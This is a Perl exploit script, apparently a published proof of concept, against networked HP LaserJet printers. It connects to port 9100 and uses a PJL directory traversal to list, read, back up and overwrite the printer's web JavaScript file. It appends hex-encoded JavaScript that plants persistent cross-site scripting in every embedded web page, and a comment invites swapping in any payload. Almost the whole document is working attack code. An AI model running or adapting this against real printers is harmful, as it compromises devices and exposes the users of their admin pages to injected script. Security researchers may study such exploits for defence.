#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket::INET;
my $host = $ARGV[0];
# Exploit Title: HP Laser Jet Persistent Javascript Cross Site Scripting via PJL
# Google Dork: n/a
# Date: 4/22/14
# Exploit Author: @0x00string
# Vendor Homepage: http://www.hp.com/products1/laserjetprinters/
# Software Link: n/a
# Version: HP LaserJet P/M xxxx (LaserJets with network conectivity, PJL and onboard storage)
# Tested on: P4015n, P2035n, P4014, M3035 MFP, CP 3525, etc.
# CVE : CVE-2010-4107,
# This script will infect all pages on HP laserjets which include ews_functions.js by appending javascript to the ews_functions.js file by leveraging the PJL Directory Traversal
print "\t _______ __ __ _______ _______ _______ _______ ______ ___ __ _ _______
\t| _ || |_| || _ || _ || || || _ | | | | | | || |
\t| | | || || | | || | | || _____||_ _|| | || | | | |_| || ___|
\t| | | || || | | || | | || |_____ | | | |_||_ | | | || | __
\t| |_| | | | | |_| || |_| ||_____ | | | | __ || | | _ || || |
\t| || _ || || | _____| | | | | | | || | | | | || |_| |
\t|_______||__| |__||_______||_______||_______| |___| |___| |_||___| |_| |__||_______|
\t HP Laser Jet persistent Javascript XSS
\t via PJL Dir Trav\n\n";
$| = 1;
infect($host);
sub infect {
my $co = 0;
my (@returned, $temp, @files, @sizes, $size, $data);
my $socket = new IO::Socket::INET (
PeerHost => $host,
PeerPort => '9100',
Proto => 'tcp',
) or die $!;
if ($socket) {
$data =
"\x1b\x25\x2d\x31\x32".
"\x33\x34\x35\x58\x40".
"\x50\x4a\x4c\x20\x46".
"\x53\x44\x49\x52\x4c".
"\x49\x53\x54\x20\x4e".
"\x41\x4d\x45\x20\x3d".
"\x20\x22\x30\x3a\x5c".
"\x5c\x77\x65\x62\x53".
"\x65\x72\x76\x65\x72".
"\x5c\x5c\x68\x6f\x6d".
"\x65\x5c\x5c\x6a\x73".
"\x66\x69\x6c\x65\x73".
"\x5c\x5c\x22\x20\x45".
"\x4e\x54\x52\x59\x3d".
"\x31\x20\x43\x4f\x55".
"\x4e\x54\x3d\x39\x39".
"\x39\x0a\x0d\x1b\x25".
"\x2d\x31\x32\x33\x34\x35\x58";
#print "\n$data\n";
$socket = tx($socket, $data);
($socket, $temp) = rx($socket);
#print "\n$temp\n";
@returned = split('\n', $temp);
foreach(@returned) {
if ($_ =~ /(.*?)\ TYPE\=FILE\ SIZE\=(\d{1,99})/) {
push(@files, $1);
push(@sizes, $2);
}
}
}
my $two = 0;
foreach(@files) {
if ($_ =~ /RestrictColor\.js/ || $_ =~ /ews_functions\.js/) {
$two++;
}
}
if ($two > 1) {
if ($socket) {
while ($co < scalar(@files)) {
if ($files[$co] =~ /ews/) {
$size = $sizes[$co];
$data =
"\x1b\x25\x2d\x31\x32\x33\x34\x35\x58".
"\x40\x50\x4a\x4c\x20\x46\x53\x55\x50".
"\x4c\x4f\x41\x44\x20\x4e\x41\x4d\x45".
"\x20\x3d\x20\x22\x30\x3a\x5c\x5c\x77".
"\x65\x62\x53\x65\x72\x76\x65\x72\x5c".
"\x5c\x68\x6f\x6d\x65\x5c\x5c\x6a\x73".
"\x66\x69\x6c\x65\x73\x5c\x5c\x65\x77".
"\x73\x5f\x66\x75\x6e\x63\x74\x69\x6f".
"\x6e\x73\x2e\x6a\x73\x22\x20\x4f\x46".
"\x46\x53\x45\x54\x3d\x30\x20\x53\x49".
"\x5a\x45\x20\x3d\x20" . $size.
"\x0d\x0a";
}
$co++;
}
$temp = undef;
#print "\n$data\n";
$socket = tx($socket, $data);
$data = undef;
if ($socket) {
($socket, $temp) = rx($socket, $size);
#print "\n$temp\n";
my @original = split('\n', $temp);
$temp = "";
shift(@original);
foreach(@original) {
$temp = $temp . $_ . "\n";
}
#print $temp;
}
}
}
$data =
"\x1b\x25\x2d\x31\x32\x33\x34\x35\x58".
"\x40\x50\x4a\x4c\x20\x46\x53\x41\x50".
"\x50\x45\x4e\x44\x20\x46\x4f\x52\x4d".
"\x41\x54\x3a\x42\x49\x4e\x41\x52\x59".
"\x20\x4e\x41\x4d\x45".
"\x20\x3d\x20\x22\x30\x3a\x5c\x5c\x77".
"\x65\x62\x53\x65\x72\x76\x65\x72\x5c".
"\x5c\x68\x6f\x6d\x65\x5c\x5c\x6a\x73".
"\x66\x69\x6c\x65\x73\x5c\x5c\x65\x77".
"\x73\x5f\x66\x75\x6e\x63\x74\x69\x6f".
"\x6e\x73\x2e\x42\x41\x4b".
"\x22\x20\x53\x49\x5a\x45\x20\x3d\x20".
length($temp) . "\x0d\x0a". $temp.
"\x1b\x25\x2d\x31\x32\x33\x34\x35\x58";
#print $data;
if ($socket) {
#print "\n$data\n";
$socket = tx($socket, $data);
($socket, $temp) = rx($socket);
#print "\n$temp\n";
}
if ($socket) {
$data =
"\x1b\x25\x2d\x31\x32\x33\x34\x35\x58".
"\x40\x50\x4a\x4c\x20\x46\x53\x51\x55".
"\x45\x52\x59\x20\x4e\x41\x4d\x45\x20".
"\x3d\x20\x22\x30\x3a\x5c\x5c\x77\x65".
"\x62\x53\x65\x72\x76\x65\x72\x5c\x5c".
"\x68\x6f\x6d\x65\x5c\x5c\x6a\x73\x66".
"\x69\x6c\x65\x73\x5c\x5c\x65\x77\x73".
"\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e".
"\x73\x2e\x42\x41\x4b\x22\x0d\x0a";
#print "\n$data\n";
$socket = tx($socket, $data);
($socket, $temp) = rx($socket);
#print "\n$temp\n";
exit(0) unless ($temp =~ /ews\_functions\.BAK/);
}
if ($socket) {
my $payload =
"\x76\x61\x72\x20\x65\x78\x70\x6c\x6f".
"\x69\x74\x20\x3d\x20\x64\x6f\x63\x75".
"\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61".
"\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74".
"\x28\x22\x64\x69\x76\x22\x29\x3b\x20".
"\x65\x78\x70\x6c\x6f\x69\x74\x2e\x69".
"\x6e\x6e\x65\x72\x48\x54\x4d\x4c\x20".
"\x3d\x20\x27\x3c\x64\x69\x76\x3e\x3c".
"\x66\x6f\x6e\x74\x20\x73\x69\x7a\x65".
"\x3d\x35\x30\x3e".
"\x41\x41\x41\x41" . "\x3c". # <--- this is being added to the page as an element. put whatever you'd like here, but check your lengths!
"\x2f\x66\x6f\x6e\x74\x3e\x3c\x2f\x64".
"\x69\x76\x3e\x27\x3b\x20\x64\x6f\x63".
"\x75\x6d\x65\x6e\x74\x2e\x67\x65\x74".
"\x45\x6c\x65\x6d\x65\x6e\x74\x73\x42".
"\x79\x54\x61\x67\x4e\x61\x6d\x65\x28".
"\x27\x62\x6f\x64\x79\x27\x29\x5b\x30".
"\x5d\x2e\x61\x70\x70\x65\x6e\x64\x43".
"\x68\x69\x6c\x64\x28\x65\x78\x70\x6c".
"\x6f\x69\x74\x29\x3b";
$data =
"\x1b\x25\x2d\x31\x32\x33\x34\x35\x58".
"\x40\x50\x4a\x4c\x20\x46\x53\x41\x50".
"\x50\x45\x4e\x44\x20\x46\x4f\x52\x4d".
"\x41\x54\x3a\x42\x49\x4e\x41\x52\x59".
"\x20\x4e\x41\x4d\x45\x20\x3d\x22\x30".
"\x3a\x5c\x5c\x77\x65\x62\x53\x65\x72".
"\x76\x65\x72\x5c\x5c\x68\x6f\x6d\x65".
"\x5c\x5c\x6a\x73\x66\x69\x6c\x65\x73".
"\x5c\x5c\x65\x77\x73\x5f\x66\x75\x6e".
"\x63\x74\x69\x6f\x6e\x73\x2e\x6a\x73".
"\x22\x20\x53\x49\x5a\x45\x20\x3d\x20".
length($payload) . "\x0d\x0a". $payload.
"\x1b\x25\x2d\x31\x32\x33\x34\x35\x58";
$socket = tx($socket, $data);
exit(0);
}
}
sub tx {
my $socket = shift;
my $data = shift;
$socket->send($data) or die $!;
return $socket;
}
sub rx {
my $socket = shift;
my $second_size = shift;
unless ($second_size) {
$second_size = 2048;
}
my $data = undef;
eval {
local $SIG{ALRM} = sub { die 'Timed Out'; };
alarm 10;
$socket->recv($data, 2048);
if ($data) {
while (length($data) < (length($data) + $second_size)) {
my $moar;
$socket->recv($moar, length($second_size + 1));
$data = $data . $moar;
}
alarm 0;
return ($socket, $data);
}
};
alarm 0;
return($socket, $data);
}
